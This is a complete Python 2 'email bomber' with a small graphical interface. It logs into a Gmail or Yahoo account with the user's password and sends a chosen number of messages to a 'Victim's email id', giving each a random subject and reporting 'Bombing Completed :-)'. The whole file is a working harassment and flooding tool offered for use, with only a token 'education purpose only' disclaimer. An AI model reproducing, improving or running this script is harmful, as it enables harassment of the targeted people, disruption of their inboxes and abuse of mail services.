gmail bomber [Graphical]

#!/usr/bin/python
#coded by atulh4c
#credits to aBi71
#This code for education purpose only.
#Use it at your own risk !!!

import easygui as eg
import os
import smtplib
import getpass
import sys

def getserver():

    msg         = "Please enter the server name [gmail/yahoo]"
    title       = "Python Bomber"
    server        = eg.enterbox(msg,title)
    return server

def getuemail():

    msg         = "Please enter your email id"
    title       = "Python Bomber"
    uemail      = eg.enterbox(msg,title)
    return uemail

def getupass():

    msg         = "Please enter your password"
    title       = "Python Bomber"
    pw          = eg.passwordbox(msg,title)
    return pw

def getvemail():

    msg         = "Enter Victim's email id"
    title       = "Python Bomber"
    vemail      = eg.enterbox(msg,title)
    return vemail

def getmessage():

    msg         = "Enter message"
    title       = "Python Bomber"
    message      = eg.enterbox(msg,title)
    return message

def getnum():

    msg         = "How many times to bomb"
    title       = "Python Bomber"
    num      = eg.enterbox(msg,title)
    return num

def getsubject():

    msg         = "Enter the subject"
    title       = "Python Bomber"
    subject      = eg.enterbox(msg,title)
    return subject

eg.msgbox(msg="    Python Email Bomber[Gui by #Atul v1]", ok_button="Go!")


server = getserver()
user = getuemail()
passwd = getupass()


to = getvemail()
subject = getsubject()
body = getmessage()
total1 = getnum()
total = int(total1)

if server == 'gmail':
    smtp_server = 'smtp.gmail.com'
    port = 587
elif server == 'yahoo':
    smtp_server = 'smtp.mail.yahoo.com'
    port = 25
else:
    print 'Applies only to gmail and yahoo.'
    sys.exit()

print ''

try:
    server = smtplib.SMTP(smtp_server,port)
    server.ehlo()
    if smtp_server == "smtp.gmail.com":
            server.starttls()
    server.login(user,passwd)
    for i in range(1, total+1):
        subject = os.urandom(9)
        msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
        server.sendmail(user,to,msg)
        print "\rTotal emails sent: %i" % i
        sys.stdout.flush()
    server.quit()
    eg.msgbox(msg="Bombing Completed :-)", ok_button="Exit!")
except KeyboardInterrupt:
    print '[-] Canceled'
    sys.exit()
except smtplib.SMTPAuthenticationError:
    print '\n[!] The username or password you entered is incorrect.'
    sys.exit()